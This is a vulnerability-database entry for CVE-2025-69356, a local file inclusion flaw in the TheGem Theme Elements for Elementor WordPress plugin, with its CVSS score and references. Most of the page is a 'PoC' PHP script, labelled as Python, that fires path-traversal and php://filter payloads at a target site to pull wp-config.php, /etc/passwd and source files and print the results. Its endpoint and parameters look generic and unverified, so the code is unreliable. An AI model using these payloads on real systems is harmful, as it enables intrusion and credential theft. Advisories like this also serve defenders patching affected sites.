CVE-2025-69356

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor allows PHP Local File Inclusion.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.11.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements for Elementor <= 5.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-69356 PoC - TheGem Theme Elements Local File Inclusion
 * Target: WordPress TheGem Theme Elements for Elementor Plugin <= 5.11.0
 * Vulnerability: Local File Inclusion via unprotected file include parameter
 */

$target = "http://target-site.com/wp-content/plugins/thegem-elements-elementor/";
$target_file = "includes/file.php"; // Vulnerable file endpoint

// LFI payloads for different purposes
$payloads = [
    // Read wp-config.php
    "?file=../../../../wp-config.php",
    // Read /etc/passwd
    "?file=../../../../../../etc/passwd",
    // Read PHP source using php://filter
    "?file=php://filter/convert.base64-encode/resource=wp-config.php",
    // Path traversal to read arbitrary file
    "?action=thegem_elementor&template=../../../../../../../etc/passwd",
    // Read theme functions.php
    "?file=../../themes/thegem/functions.php"
];

echo "[*] CVE-2025-69356 LFI PoC\n";
echo "[*] Target: $target\n\n";

foreach ($payloads as $payload) {
    $url = $target . $target_file . $payload;
    echo "[+] Testing: $url\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[!] Potential sensitive data leaked (HTTP $http_code)\n";
        echo substr($response, 0, 500) . "\n\n";
    }
}

echo "[*] PoC execution completed\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69356
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69356
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69356/
[4] VulDB https://vuldb.com/cve/CVE-2025-69356
[5] https://patchstack.com/database/Wordpress/Plugin/thegem-elements-elementor/vulnerability/wordpress-thegem-theme-elements-for-elementor-plugin-5-11-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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